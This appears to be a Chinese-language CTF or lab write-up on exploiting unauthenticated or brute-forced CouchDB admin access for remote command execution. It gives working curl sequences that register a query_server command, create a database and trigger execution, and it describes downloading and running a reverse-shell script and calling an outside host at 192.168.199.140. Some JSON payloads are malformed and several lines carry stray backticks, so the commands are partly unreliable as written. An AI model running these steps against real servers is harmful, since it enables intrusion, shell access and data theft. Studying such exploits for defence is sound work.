背景介绍
CouchDB是一个开源的面向文档的数据库管理系统,可以通过 RESTful javascript Object Notation (JSON) API 访问。CouchDB可以安装在大部分POSIX系统上,包括Linux和Mac OS X。
漏洞介绍
Couchdb默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。
使用nmap扫描可发现couchdb的banner信息
执行命令需要使用admin权限,如果数据库存在未授权则可直接利用,若有账号认证则需要想办法获取admin的密码,当然可通过burpsuit去爆破/_utils/,也可以通过metasploit中的auxiliary/scanner/Couchdb/Couchdb/Couchdb/Couchdb_login模块直接进行爆破 CouchDB提供了一个可视化界面工具,在浏览器中运行“http://127.0.0.1:5984/_utils/”,即可见到如下所示的界面。
漏洞利用
这里举例有账号认证的情况,我们需要使用admin身份登录然后获取cookie,再使用curl命令与api进行交互,实现数据库操作
远程命令执行示例
- 新增query_server配置,写入要执行的命令;
- 新建一个临时库和临时表,插入一条记录;
- 调用query_server处理数据
curl -X PUT 'http://192.168.199.181:5984/_config/query_servers/cmd' -d '"python /tmp/back.py"' -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"
curl -X PUT 'http://192.168.199.181:5984/teeest' -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"```
curl -X PUT 'http://192.168.199.181:5984/teeest/vul' -d '"_id":"770895a97726d5ca6d70a22173005c7b"' -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"```
curl -X POST 'http://192.168.199.181:5984/teeest/_temp_view?limit=11' -d '"language":"cmd","map":""' -H 'Content-Type: application/json' -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"
远程下载反弹脚本 成功监听到下载请求 添加执行权限 执行反弹脚本 getshell,读取flag
同样你也可以不用登录获取Cookie,直接在curl请求中带入账号密码也是可以的,类似于这样,执行效果是一样的,这种方法可能更方便点吧
root@Urahara:~# curl -X PUT 'admin:1qaz2wsx@192.168.199.165:5984/_config/query_servers/cmd' -d '"curl http://192.168.199.140/flag"'
"curl http://192.168.199.140/flag"
root@Urahara:~# curl -X PUT 'admin:1qaz2wsx@192.168.199.165:5984/wa'
"ok":true
root@Urahara:~# curl -X PUT 'admin:1qaz2wsx@192.168.199.165:5984/wa/haha' -d '"_id":"770895a97726d5ca6d70a22173005c7a"'"ok":true,"id":"haha","rev":"1-967a00dff5e02add41819138abb3284d"
root@Urahara:~# curl -X POST 'admin:1qaz2wsx@192.168.199.165:5984/wa/_temp_view?limit=14' -d '"language":"cmd","map":""' -H 'Content-Type: application/json'